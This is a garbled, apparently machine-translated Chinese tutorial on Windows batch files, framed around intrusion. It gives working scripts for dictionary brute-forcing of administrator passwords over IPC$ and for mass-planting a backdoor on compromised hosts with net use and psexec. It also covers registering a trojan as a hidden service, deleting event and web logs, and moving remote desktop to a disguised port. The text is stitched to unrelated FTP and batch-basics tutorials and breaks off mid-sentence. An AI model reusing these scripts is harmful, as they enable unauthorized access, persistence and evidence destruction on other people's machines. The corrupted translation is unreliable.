批处理文件是包含一个或多个命令的无格式文本文件。它的文件扩展名是。蝙蝠还是。cmd。在命令提示符下键入批处理文件的名称,或者双击批处理文件,系统将调用Cmd.exe按照文件中命令出现的顺序逐一运行它们。
批处理文件是包含一个或多个命令的无格式文本文件。它的文件扩展名是。蝙蝠还是。cmd。在命令提示符下键入批处理文件的名称,或者双击批处理文件,系统将调用Cmd.exe,按照文件中出现的顺序逐一运行文件中的所有命令。使用批处理文件(也称为批处理程序或脚本)可以简化日常或重复性任务。当然,我们版本的主要内容是介绍批处理在入侵中的一些实际应用,比如用批处理文件给系统打补丁,批量植入后门程序,这些我们后面会提到。开始我们的批量学习之旅吧。
一.简单批处理内部命令简介
1.echo命令
打开或关闭回声,或显示信息。如果没有参数,echo命令将显示当前的echo设置。
语法
echo[{ on | off }][消息]
示例:@echo off/echo hello world
在实际应用中,我们会将该命令与重定向符号(一般也称为管道符号)结合起来,将一些命令输入到特定格式的文件中。这将反映在今后的例子中。
2.@命令
它表示不要在@后显示该命令。在入侵过程中(比如用批处理格式化敌方硬盘),自然不能让对方看到你用的命令。
示例:@回声关闭
@echo正在初始化程序,请稍等.
@format X: /q/u/autoset (format此命令不能使用/y参数。还好微软给我们留了一个autoset参数,效果和/y一样)
3.goto命令
指定跳转到标签。找到标签后,程序将处理下一行的命令。
语法:goto label (label是一个参数,它指定批处理程序中要转到的行。)
样本:
if {%1}=={}转到noparms
If {%2}=={} goto noparms(如果不明白这里的If,%1,%2,先跳过,后面会有详细解释。)
@Rem检查参数,如果为空则显示用法
:noparms
echo用法:monitor.bat ServerIP端口号
转到结尾
标签的名字可以随便起,但最好是有意义的字母。a:加在字母前,表示该字母是标签。goto命令就是基于这一点:找到下一步跳转到那里。最好有一些解释,这样别人看起来会明白你的意图。
4.Rem命令
Command,相当于C语言中的/*-*/不会被执行,而是作为注释给别人看,也是你自己以后的修改。
远程消息
Sample:@Rem这里是描述。
5.暂停命令
运行暂停命令时,将显示以下消息:
按任意键继续。
样本:
@关闭回声
:开始
副本a:*。* d:返回
echo请将新磁盘放入驱动程序A
中止
转到开始
在本例中,驱动器A中磁盘上的所有文件都被复制到d:back。当显示的注释提示您将另一个磁盘放入驱动器A时,暂停命令将暂停程序,以便您可以更换磁盘,然后按我的按钮。
6.呼叫命令
从一个批处理程序调用另一个批处理程序,而不终止父批处理程序。call命令接受用作调用目标的标签。如果在脚本或批处理文件之外使用Call,它将不会在命令行上工作。
语法
调用[驱动器:] [路径]文件名[批处理参数][:标签[参数]
参数
[驱动器:}[路径]文件名
指定要调用的批处理程序的位置和名称。filename参数必须有一个. bat或。cmd扩展。
7 .启动命令
调用外部程序,所有的DOS命令和命令行程序都可以通过start命令调用。
入侵的常见参数:
MIN开始时的最小窗口
在单独的空间启动16位Windows程序。
在高优先级类别中启动应用程序
实时启动实时优先级类别中的应用程序。
等待启动应用程序,然后等待它结束。
参数这些是传输到命令/程序的参数。
当执行的应用程序是32位GUI应用程序时,CMD.EXE会返回命令提示符,而不等待应用程序终止。如果在命令脚本中执行,这种新行为将不会发生。
8 .选择命令
选择使用该命令,用户可以输入一个字符来运行不同的命令。使用时要加/c:参数,在c:后面要写提示输入的字符,字符之间不能有空格。它的返回代码是1234.
例如choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
样本:
Sample.bat的内容如下:
@关闭回声
choice /c:dme碎片整理,mem,end
错误级别3 goto defrag(应首先判断值最高的错误代码)
如果错误级别2,转到记忆
如果错误级别1转到结束
:碎片整理
上校:多斯弗拉格
转到结尾
:记忆
记忆
转到结尾
:结束
回声再见
这个文件运行后,会显示defrag,mem,end[D,M,E]?用户可以选择d m e,然后if语句会做出判断,d代表执行标签为defrag的程序段,m代表执行标签为mem的程序段,e代表执行标签为end的程序段。每个程序段结束时,程序会用goto end跳转到结束标签,然后程序会显示good bye,文件结束。
9.If命令
If是指它会判断指定的条件是否满足,然后决定执行不同的命令。有三种格式:
1.if' parameter'==' string '要执行的命令
如果参数等于指定的字符串,则满足条件。运行命令,否则,运行下一句。(注意是两个等号)
例如,如果“% 1”==“a”格式a:
if {%1}=={}转到noparms
if {%2}=={}转到noparms
2.如果存在文件名,要执行的命令
如果有指定的文件,满足条件,运行命令;否则下一句就是跑。
例如ifexistconfig . syseditconfig . sys。
3、if errorlevel/if not errorlevel要执行的数字命令
如果返回代码等于指定的数字,则条件满足,命令运行;否则下一句就是跑。
例如,如果错误级别2转到x2
当一个DOS程序运行时,它会返回一个数字给DOS,这个数字叫做errorlevel或返回码。常见的返回代码是0和1。
10 .对于命令
for命令是一个复杂的命令,主要用于在指定的范围内循环执行带有参数的命令。
在批处理文件中使用FOR命令时,请使用%%variable来指定变量。
for { % variable | % % variable } in(set)do命令[ CommandLineOptions]
%variable指定一个单字母可替换参数。
(set)指定一个或一组文件。可以使用通配符。
Command指定要对每个文件执行的命令。
Command-parameters为特定命令指定参数或命令行开关。
在批处理文件中使用FOR命令时,请使用%%variable而不是%variable来指定变量。变量名区分大小写,所以%i不同于% i。
如果启用了命令扩展,将支持以下附加的FOR命令格式:
FOR/D %变量IN (set) DO命令[命令-参数]
如果集合包含通配符,则指定它匹配目录名而不是文件名。
FOR/R[drive:]path]%变量IN (set) DO命令[command-
检查以[drive:]path为根的目录树,指向每个目录中的FOR语句。如果在/R后没有指定目录,则使用当前目录。如果集合只是一个点(。)字符,枚举目录树。
FOR/L %变量IN (start,step,end) DO命令[command-para
这个集合表示从开始到结束递增的一系列数字。
因此,(1,1,5)将产生序列1 2 3 4 5,而(5,1,1)将产生
顺序(5 4 3 2 1)。
(file-set) DO命令中的FOR/F[' options ']%变量
FOR/F[' options ']%变量IN ('string') DO命令
FOR/F[' options ']% variable IN(' command ' ')DO命令
或者,如果有usebackq选项:
(file-set) DO命令中的FOR/F[' options ']%变量
FOR/F[' options ']%变量IN ('string') DO命令
FOR/F[' options ']% variable IN(' command ' ')DO命令
Filenameset是一个或多个文件名。在处理filenameset中的下一个文件之前,已经打开、读取和处理了每个文件。包括处理读取的文件,将其分成文本行,然后将每行解析成零个或多个符号。然后用找到的符号串变量值调用For循环。默认情况下,/F会通过每个文件每行中分隔的第一个空白符号。跳过空行。您可以通过指定可选的“options”参数来覆盖默认的解析操作。这个带引号的字符串包含一个或多个指定不同解析选项的关键字。这些关键字是:
eol=c-表示行注释字符的结束(只有一个)
skip=n-表示在文件开头忽略的行数。
delims=XXX-表示分隔符集。这将替换默认的空格和tab键分隔符集。
Tokens=x,y,m-n-指的是每一行的哪个符号被传递给每次迭代的for自身。这将导致额外变量名的格式为一个范围。通过用第n个符号指定M符号串中的最后一个字符星号,额外的变量将在最后一个符号解析中分配,并接受该行的保留文本。
use backq-指定新语法已用于以下情况:执行带反引号的字符串作为命令,并且引号字符是文字字符串命令,并允许双引号在fi中扩展文件名。
样本1:
FOR/F ' eol=;tokens=2,3* delims=,' %i in (myfile.txt) do命令
将分析myfile.txt中的每一行,忽略那些以分号开头的行,将每行中的第二个和第三个符号传递给for程序体;使用逗号和/或空格来分隔符号。请注意,for程序体的这个语句引用%i来获取第二个符号,%j来获取第三个符号,%k来获取第三个符号之后的所有剩余符号。对于带有空格的文件名,需要用双引号将文件名括起来。为了以这种方式使用双引号,您还需要使用usebackq选项。否则,双引号将被理解为定义要分析的字符串。
%i是在for语句中指定的,%j和%k是由tokens=option指定的。您可以通过tokens=line指定多达26个符号,只要您不试图解释高于字母“z”或“z”的变量。请记住,FOR变量是单个字母,区分大小写和全局变量;同时使用的不能超过52个。
还可以对相邻字符串使用FOR /F解析逻辑;方法是用单引号将filenameset括在括号中。这样,字符串将被视为文件中的单个输入行。
最后,您可以使用FOR /F命令来分析该命令的输出。方法是将括号中的filenameset转换成一个解构的字符串。该字符串将作为命令行传递给子CMD.EXE,其输出将被捕获到内存中并作为文件进行分析。因此,下面举几个例子:
FOR/F ' usebackq delims==' % I IN(` set `)DO @ echo % I
枚举当前环境中的环境变量的名称。
此外,还增强了对变量引用的替换。现在可以使用以下选项语法:
~ I-删除所有引号(')并展开% i。
% ~ fI-将%I展开为完全限定的路径名。
%~dI-only %I扩展为一个驱动器号。
% ~ pI-仅%I扩展到一个路径。
%~nI-only %I被扩展为文件名。
% ~ Xi-将%I扩展为仅一个文件扩展名
% ~ sI-扩展路径只包含短名称。
% ~ aI-将%I扩展到文件的file属性。
% ~ tI——将%I扩展到文件的日期/时间。
% ~ zI-将%I扩展到文件大小
% ~ $ PATH:I-找到PATH环境变量中列出的目录,并将%I展开到找到的第一个完全限定名。如果环境变量未定义或文件未找到,此组合键将扩展空字符串。
修改器可以组合起来获得多种结果:
% ~仅dpI % I扩展为一个驱动器号和路径。
%~nxI-only %I被扩展为文件名和扩展名。
% ~仅fsI % I扩展为带有短名称的完整路径名。
% ~ DP $ PATH:I-找到PATH环境变量中列出的目录,将%I展开到找到的第一个驱动器号和路径。
% ~ ftzaI-将%I扩展到类似输出行的DIR
在上面的例子中,%I和PATH可以替换为其他有效值。% ~语法以有效的FOR变量名结束。像%I这样的大写变量名更容易阅读,并且避免与不区分大小写的组合键混淆。
以上是MS的官方帮助,下面举几个例子来说明入侵中For命令的使用。
样本2:
For命令用于破解目标Win2k主机的暴力密码。
我们使用netuse/IPI PC $ ' password '/u:' administrator '来尝试连接目标主机,并在成功时记下密码。
最重要的命令是一个:for/f I % in(dict . txt)do net use/IPI PC $ ' I % '/u:' administrator '
I%用于表示admin的密码。在dict.txt中,i%的这个值是与net use命令连接的。然后将程序的运行结果传递给find命令-
for/f I % % in(dict . txt)do net use/IPI PC $ ' I % % '/U:' Administrator ' | Find ':命令成功完成' D:ok.txt,所以被ko。
样本3:
有没有一大批肉鸡等着你种后门+木马?量特别大的时候,原本很开心的事情都会变得很压抑:)。在文章的开始,我们谈到了使用批处理文件,它可以简化日常或重复性的任务。那么如何实现呢?哈哈,你看下去就知道了。
只有一个主命令:(在批处理文件中使用FOR命令时,指定的变量使用%%variable)
@for /f 'tokens=1,2,3 delims=' %%i in (victim.txt) do开始呼叫door.bat %%i %%j %%k
tokens的用法请参考上面的sample1,这里的意思是将victim.txt的内容按顺序传递给door.bat中的参数%i %j %k。
而cultivate.bat无非是使用net use命令建立IPC$连接,并将木马+后门复制到受害者,然后使用返回代码(If errorlever=)筛选成功植入后门的主机,并回显出来,或者回显到指定文件。
Delims=表示vivtim.txt中的内容由空格分隔。我想你看到这里一定明白这个victim.txt的内容是什么样的了。应该是按照%%i %%j %%k代表的对象来排列的,一般是ip密码用户名。
代码原型:
-在这里剪切,然后保存为批处理文件(我称之为main.bat ) -
@关闭回声
@if '%1'==' '转到用法
@for /f 'tokens=1,2,3 delims=' % % I in(victim . txt)do start call ipchack . bat % % I % % j % % k
@转到结尾
:用法
@echo在dos模式下运行该批处理。或者双击它。
:结束
-在这里剪切,然后保存为批处理文件(我称之为main.bat ) -
-在这里剪切,然后保存为批处理文件(我称之为door.bat)
@ net use/% 1 IPC $ % 3/u:“% 2”
@if errorlevel 1 goto失败
@echo正在尝试建立IPC连接………好的
@复制windrv32.exe/dmin$system32如果没有错误级别1回显IP %1用户%2 PWD %3 ko.txt
@ psexec/% 1c:win ntsystem 32 wind RV 32 . exe
@ psexec/% 1 net start wind RV 32 if not error level 1 echo % 1 back door ed ko . txt
:失败
@echo抱歉无法连接到受害者。
-在这里剪切,然后保存为批处理文件(我称之为door.bat)
这只是一个自动后门批量种植的原型,二批和后门程序(Windrv32.exe),psexec.exe需要放在一个统一的目录下。批量内容
可以扩展,比如增加清除日志中DDOS的功能,定时添加用户,进一步使其具有自动传输(worm)的功能。这里就不描述了,有兴趣的朋友可以自己研究一下。
二。如何在批处理文件中使用参数
参数可以用于批处理,一般从1%到9%九个。当有多个参数时,需要使用shift来移动它们。这种情况比较少见,我们就不考虑了。
示例1:fomat.bat
@关闭回声
如果' %1'=='a '格式为a:
:格式
@format a:/q/u/auotset
@echo请再插入一张磁盘到驱动a。
@暂停
@goto fomat
本例用于连续格式化多张软盘,使用时需要在dos窗口输入fomat.bat a。呵呵,看来是画蛇添足了~ _
样本2:
当我们要建立一个ipC$连接的时候,总要输入一堆命令,搞不好就会出错,所以我们不妨把一些固定的命令写成一个批处理,把肉鸡的IP密码用户名作为参数赋给这个批处理,这样就不用每次都敲命令了。
@关闭回声
@net use /1%ipc$ '2%' /u:'3% '注意,密码是这里的第二个参数。
@if errorlevel 1 echo连接失败
反正用参数还是比较简单的吧?你一定是学会了这么帅。
三.如何使用组合命令(Compound Command)
1.
用法:一阶,二阶[三阶.]
这样,可以同时执行多个命令,而不管这些命令是否成功执行。
样本:
C:dir z: dir c:Ex4rch
系统找不到指定的路径。
驱动器C中的卷没有标签。
卷序列号是0078-59FB
目录c:Ex4rch
导演。
目录.
sometips.gif
2.
用法:一阶,二阶[三阶.]
这样,可以同时执行多个命令。当遇到有错误的命令时,将不会执行以下命令。如果一直没有错误,所有命令都会被执行。
样本:
C:dir z: dir c:Ex4rch
系统找不到指定的路径。
C:dir c:Ex4rch dir z:
驱动器C中的卷没有标签。
卷序列号是0078-59FB
目录c:Ex4rch
导演。
导演.
sometips.gif
1个14字节的文件
2个目录768,671,744字节可用
系统找不到指定的路径。
在进行备份时,使用此命令相对简单,例如:
dir文件://192 . 168 . 0 . 1/database/backup . MDB副本文件://192 . 168 . 0 . 1/database/backup . MDB E:backup
如果远程服务器上存在backup.mdb文件,将执行copy命令。否则,将不会执行复制命令。如果存在,此用法可以替换:)
3.||
用法:第一个命令||第二个命令[|第三个命令.]
这样,可以同时执行多个命令。当执行正确的命令时,将不会执行以下命令。如果没有正确的命令,所有的命令都会一直执行。
样本:
c:ex 4 rchdir sometips . gif | | del sometips . gif
驱动器C中的卷没有标签。
卷序列号是0078-59FB
目录C:Ex4rch
sometips.gif
1个14字节的文件
0个目录768,696,320字节可用
命令组合示例:
样本:
@复制trojan.exe /dmin$system32如果没有错误级别1回显IP %1用户%2通过%3受害者. txt
四、管道命令的使用
1.|命令
用法:第一个命令|第二个命令[|第三个命令.]
使用第一个命令的结果作为第二个命令的参数,这在unix中很常见。
样本:
time /tD:IP.log
netstat-n-p TCP | find ':3389 ' D:IP . log
启动浏览器
看到了吗?终端服务允许我们定制初始程序,让用户运行下面的bat来获取登录用户的IP。
2.输出重定向命令。
将命令或程序的输出结果重定向到特定文件与不同,因为原始文件中的内容将被清除,然后写入指定的文件,只有这些内容将被追加到指定的文件中,而不会更改内容。
样本1:
echo hello worldc:hello.txt(蠢例子?)
样本2:
现在流行DLL木马。我们知道system32是一个捉迷藏的好地方。很多木马都是削尖脑袋往那里钻,DLL木马也不例外。有鉴于此,我们可以在安装完系统和必要的应用程序后,在这个目录下做一个EXE和DLL文件的记录:
运行CMD - convert目录到system32-dir *。exeexeback.txt dir *。dll dback . txt,
所有此类EXE和DLL文件的名称分别记录在exeback.txt和dllback.txt中,
如果以后发现异常,但传统方法无法发现问题,就要考虑DLL木马是否已经渗透到系统中。
这时,我们用同样的命令将system32下的EXE和DLL文件记录到另一个exeback1.txt和dllback1.txt中,然后运行:
cmd-FC exe back . txt exe back 1 . txt diff.txt FC DLL back . txt DLL back 1 . txt diff . txt .(比较使用FC命令前后的两个DLL和exe文件,将结果输入到diff . txt中),这样我们就可以找到一些多余的DLL和exe文件,然后通过检查创建时间、版本、是否经过压缩就可以很容易地判断它们是否被DLL了。最好不要。如果有,不要直接掉。首先,使用regsvr 32/u trojan.dll注销后门的DLL文件,然后将其移动到回收站。如果系统没有异常反应,就彻底删除或者提交给杀毒软件公司。
3.
从文件中而不是从键盘上读取命令输入。
将一个句柄的输出写入另一个句柄的输入。
从一个句柄读取输入,并将其写入另一个句柄的输出。
这些不常用,就不多介绍了。
五.如何用批处理文件来操作注册表
在入侵过程中,往往会操纵注册表的特定键值来达到某种目的,比如为了隐藏后门和木马程序而删除Run下剩余的键值。或者创建一个加载后门的服务。当然我们也会修改注册表来强化系统或者改变系统的某个属性,这就需要我们对注册表的操作有一定的了解。让我们来学习如何使用?REG文件作为注册表。(我们可以使用批处理来生成一个reg文件。)
关于注册表的操作,创建、修改和删除注册表是很常见的。
1.创造
创建有两种,一种是创建Subkey。
我们创建一个包含以下内容的文件:
Windows注册表编辑器5.00版
[HKEY _本地_机器软件微软黑客]
然后执行脚本,你已经在HKEY _本地_机器软件微软下创建了一个名为“黑客”的子项。
另一种是创建项目名称。
此文件格式是典型的文件格式,与您从注册表导出的文件格式一致。内容如下:
Windows注册表编辑器5.00版
[HKEY _本地_机器软件微软视窗安全版本运行]
入侵者
' door '=C:/WINNT/system32/door . exe
Autodos'=dword:02
所以是在[HKEY _ local _ Machinesoft ware microft windows currentversionrun]下
新项目:入侵者,门和关于。
入侵者的类型是“字符串值”
门的类型是“注册SZ值”
Autodos的类型是“DWORD值”
2.修正
修改比较简单,只需导出需要修改的项,用记事本修改,然后导入即可(regedit /s)。
3.删除
先说删除一个项目名。我们创建如下文件:
Windows注册表编辑器5.00版
[HKEY _本地_机器软件微软视窗安全版本运行]
Ex4rch'=-
执行这个脚本,【HKEY _本地_机器软件交叉窗口当前版本运行】下的‘ex 4 rch’将被删除;
让我们再来看看删除一个子项。我们创建如下脚本:
Windows注册表编辑器5.00版
[-HKEY _本地_机器软件微软视窗安全版本运行]
执行这个脚本,[HKEY _本地_机器软件交叉窗口当前版本运行]已经被删除。
我相信你已经基本掌握了。注册文件在这里。那么现在的目标就是创造。通过批处理生成特定内容的reg文件。还记得我们之前说过,使用重定向符号很容易创建特定类型的文件。
Samlpe1:如上例所示,如果您想生成以下注册表文件
Windows注册表编辑器5.00版
[HKEY _本地_机器软件微软视窗安全版本运行]
入侵者
'门'=十六进制:255
Autodos'=dword:000000128
只需要这个:
@echo Windows注册表编辑器版本5.00Sample.reg
@ echo[HKEY _本地_机器软件微软视窗安全版本运行]Sample.reg
@ echo ' Invader '=' ex4r ch ' sample . reg
@ echo ' door '=5C:/WINNT/system32/door . exe sample . reg
@ echo ' Autodos '=dword:02 sample . reg
samlpe2:
我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY本地_机器软件微软windows currentversionrun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动。但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些。下面以配置好地因特网中继会谈木马DSNX为例(名为windrv32.exe)
@开始windrv32.exe
@ windrv32.exe属性
@ patch.dll回声[HKEY _本地_机器软件微软WindowsCurrentVersionRun]
@ echo ' winds NX '=-patch.dll
@ sc。exe create win driver SRV type=kernel start=auto display name=windows driver binpath=c:win nt system 32 wind RV 32。可执行程序的扩展名
@ patch.dll
@删除patch.dll
@REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并配置为自启动]
@雷姆这样不是更安全^_^.
六。精彩实例放送
1.删除win2k/xp系统默认共享的批处理
-在此处剪切,然后另存为。蝙蝠还是100 . cmd文件-
@回声准备删除所有默认共享。准备好后按任意键。
@暂停
@关闭回声
:如果为空,Rem检查参数显示用法。
if {%1}=={}转到:用法
:Rem代码开始。
回声。
回声-
回声。
回声现在删除所有默认共享。
回声。
净份额% 1 $/删除
净份额% 2 $/删除
净份额% 3 $/删除
净份额% 4 $/删除
净份额% 5 $/删除
净份额% 6 $/删除
净份额% 7 $/删除
净份额% 8 $/删除
净份额% 9 $/删除
网络停止服务器
网络启动服务器
回声。
回声所有的共享都被删除了
回声。
回声-
回声。
回声现在修改注册表来改变系统默认属性。
回声。
回声现在正在创建注册表文件
回显窗口注册表编辑器版本5.00 c:delshare.reg
回声[HKEY _本地_机器系统当前控制设置服务] c:delshare.reg
echo ' AutoShareWks '=dword:00000000 c:del share。车辆注册号
echo ' AutoShareServer '=dword:00000000 c:del share。车辆注册号
使用注册表文件改变系统默认属性。
regedit /s c:delshare.reg
回显删除临时文件。
del c:delshare.reg
转到:结束
:用法
回声。
回声-
回声。
回显一个批处理文件的例子
回声[使用批处理文件更改系统共享属性。]
回声。
回声作者:Ex4rch
回声Mail:Ex4rch@hotmail.com QQ:1672602
回声。
回声错误:没有足够的参数
回声。
回声请输入您要删除的共享磁盘
回声。
例如,要删除默认共享:
echo delshare c d e ipc管理打印
回声。
如果磁盘不是C: D:请自行更换。
回声。
回显示例:
如果locak disklable是C: D: E: X: Y: Z:您应该将命令改为:
echo delshare c d e x y z ipc管理打印
回声。
回声***您可以在一次使用中删除九个共享***
回声。
回声-
转到:EOF
:结束
回声。
回声-
回声。
echo OK,delshare.bat已删除您分配的所有共享。
回声。有任何问题,随时给toEx4rch@hotmail.com发邮件。
回声
回声。
回声-
回声。
:EOF
批处理文件的回显结尾
-在此处剪切,然后另存为。蝙蝠还是100 . cmd文件-
2.全面加固系统(给肉鸡打补丁)的批处理文件
-在此处剪切,然后另存为。蝙蝠还是100 . cmd文件-
@回显窗口注册表编辑器版本5.00 patch.dll
@ patch.dll回声[HKEY _本地_机器系统当前控制设置服务
@ echo ' AutoShareServer '=dword:00000000 patch.dll
@ echo ' AutoShareWks '=dword:00000000 patch.dll
@REM [禁止共享]
@ patch.dll回声[HKEY本地_机器系统当前控制设置控制]
@ echo '限制匿名'=dword:00000001 patch.dll
@REM [禁止匿名登录]
@ patch.dll回声[HKEY _本地_机器系统当前控制设置服务网络参数]
@ echo ' SMBDeviceEnabled '=dword:00000000 patch.dll
@REM [禁止及文件访问和打印共享]
@ patch.dll回声[HKEY _本地_机器系统当前控制设置服务@远程注册]
@ echo ' Start '=dword:00000004 patch.dll
@ patch.dll回声[HKEY _本地_机器系统当前控制设置服务时间表]
@ echo ' Start '=dword:00000004 patch.dll
@ echo[HKEY _本地_机器软件微软视窗NTCurrentVersionWinlogon]patch . dll
@ echo '没有登录就关闭'=' 0 ' patch.dll
@REM [禁止登录前关机]
@ echo ' dontdisplaylastmusername '=' 1 ' patch.dll
@REM [禁止显示前一个登录用户名称]
@ patch.dll
-在此处剪切,然后另存为。蝙蝠还是100 . cmd文件-
下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的终端服务留跳后路。
@ patch.dll
@net stop w3svc
@网络停止事件日志
@ del c:win nt system 32 log files w3svc 1 * .* /f /q
@ del c:win nt system 32 log files w3svc 2 * .* /f /q
@del c:winntsystem32config* .事件/f /q
@del c:winntsystem32dtclog* .* /f /q
@del c:winnt* .txt /f /q
@del c:winnt* .对数/频率/频率
@net start w3svc
@net启动事件日志
@rem [删除日志]
@net stop lanmanserver /y
@网络站点计划/y
@net stop RemoteRegistry /y
@德尔patch.dll
@回声服务器已经打补丁了,好好玩。
@del补丁。蝙蝠
@REM [禁止一些危险的服务。]
@ echo[HKEY _本地_机器系统当前控制设置控制终端服务器winstationsrdp-Tcp]patch.dll
@ echo '端口号'=dword:00002010 patch.dll
@ echo[patch.dll HKEY _本地_机器系统当前控制设置控制终端服务器WdsrdpwdTdstcp
@ echo '端口号'=dword:00002012 patch.dll
@ patch.dll回声[HKEY _本地_机器系统当前控制设置服务
@ echo ' Start '=dword:00000002 patch.dll
@ patch.dll回声[HKEY _本地_机器系统当前控制设置服务
@ echo ' Start '=dword:00000002 patch.dll
@ echo '错误控制'=dword:00000001 patch.dll
@echo 'ImagePath'=hex(2):2
5,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Descr1ption"="Keep record of the program and windows'' message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]rem Author: Munga Bunga - from Australia, the land full of retarded Australian''s (help me get out of here) 用批处理命令实现FTP文件的自动传输
由于工作的原因,每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序,即繁琐又容易出 错。本人经过思考摸索,在Windows操作系统的“任务计划”帮助下,成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解,希望对同好有 所帮助,更望能抛砖引玉,提出更好的方法。
假设本机操作系统为Windows操作系统,需进行文件传输的目录为C:\datatran;对方计算机操作系统为UNIX操作系统,IP地址为 10.30.15.3,需进行文件传输的目录为C:\data,登录用户名为Anonymous,口令为123456。从本机到对方机接收文件操作方法如 下。
第一步,先新建一个文本:
Open 10.31.15.3
User anonymous
123456
Cd data
Bin
Prompt
Mget *.*
Bye
Quit
Exit
将该文本保存为1.ftp存放到C盘根目录。该文件只要扩展名为ftp,前缀可任意取名。目录也不一定要在根目录,主要以方便为主。文本中Bin为用黑吧 码格式传输文件,如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件,则只要将文本中的Mget替换成Mput即可。这之后,再新建另一 个文本:
C:
Cd datatran
ftp–n–s:”c:\1.ftp”
新建完毕后将该文本保存为1.bat后存放在硬盘任何分区或软盘中均可。这样,第一步工作已经完成,您随时可以执行该批处理文件进行FTP文件的传输。
第二步,将该该批处理文件放在“任务计划”中设定自动运行。方法是:打开“开始”菜单“程序”下“附件”中的“系统工具”,点击“任务计划”,执行“添加 任务计划”,按“任务计划向导”提示将该批处理文件添加到任务计划中,并指定执行周期,之后再设下密码后即完成。从此,计算机会根据您的设定,自动周期性 地进行文件接收或发送,不再需要您动一下手指,真正做到它工作,您休息。
另外,如果是Windows操作系统之间进行FTP进行文件传输,只要去掉1.ftp中“Bin”一行就可以了.
.................................................................................................................................................................................................................... echo、@、call、pause、rem(小技巧:用::代替rem)是批处理文件最常用的几个命令。 echo 表示显示此命令后的字符 echo off 表示在此语句后所有运行的命令都不显示命令行本身 @与echo off相象,但它是加在每个命令行的最前面,表示运行时不显示这一行的命令行(只能影响当前行)。 call 调用另一个批处理文件(如果不用call而直接调用别的批处理文件,那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令)。 pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示,等待用户按任意键后继续 rem 表示此命令后的字符为解释行(注释),不执行,只是给自己今后参考用的(相当于程序中的注释)。 例1:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。 批处理文件的内容为: 命令注释: @echo off 不显示后续命令行及当前命令行 dir c:\*.* >a.txt 将c盘文件列表写入a.txt call c:\ucdos\ucdos.bat 调用ucdos echo 你好 显示"你好" pause 暂停,等待按键继续 rem 准备运行wps 注释:准备运行wps cd ucdos 进入ucdos目录 wps 运行wps 批处理文件的参数 批处理文件还可以像C语言的函数一样使用参数(相当于DOS命令的命令行参数),这需要用到一个参数表示符“%”。 %[1-9]表示参数,参数是指在运行批处理文件时在文件名后加的以空格(或者Tab)分隔的字符串。变量可以从%0到%9,%0表示批处理命令本身,其它参数字符串用%1到%9顺序表示。 例2:C:根目录下有一批处理文件名为f.bat,内容为: @echo off format %1 如果执行C:\>f a: 那么在执行f.bat时,%1就表示a:,这样format %1就相当于format a:,于是上面的命令运行时实际执行的是format a: 例3:C:根目录下一批处理文件名为t.bat,内容为: @echo off type %1 type %2 那么运行C:\>t a.txt b.txt %1 : 表示a.txt %2 : 表示b.txt 于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 特殊命令 if goto choice for是批处理文件中比较高级的命令。 if 是条件语句,用来判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: if [not] "参数" == "字符串" 待执行的命令 参数如果等于(not表示不等,下同)指定的字符串,则条件成立,运行命令,否则运行下一句。 例:if "%1"=="a" format a: if [not] exist [路径\]文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如: if exist c:\config.sys type c:\config.sys 表示如果存在c:\config.sys文件,则显示它的内容。 if errorlevel <数字> 待执行的命令 很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态),通过if errorlevel命令可以判断程序的返回值,根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label,标号用:后跟标准字符串来定义)处,goto语句一般与if配合使用,根据不同的条件来执行不同的命令组。 如: goto end :end echo this is the end 标号用“:字符串”来定义,标号所在行不被执行。 choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。 注意:choice命令为DOS或者Windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。 choice的命令语法(该语法为Windows 2003中choice命令的语法,其它版本的choice的命令语法与此大同小异): CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] 描述: 该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 参数列表: /C choices 指定要创建的选项列表。默认列表是 "YN"。 /N 在提示符中隐藏选项列表。提示前面的消息得到显示, 选项依旧处于启用状态。 /CS 允许选择分大小写的选项。在默认情况下,这个工具 是不分大小写的。 /T timeout 做出默认选择之前,暂停的秒数。可接受的值是从 0 到 9999。如果指定了 0,就不会有暂停,默认选项 会得到选择。 /D choice 在 nnnn 秒之后指定默认选项。字符必须在用 /C 选 项指定的一组选择中; 同时,必须用 /T 指定 nnnn。 /M text 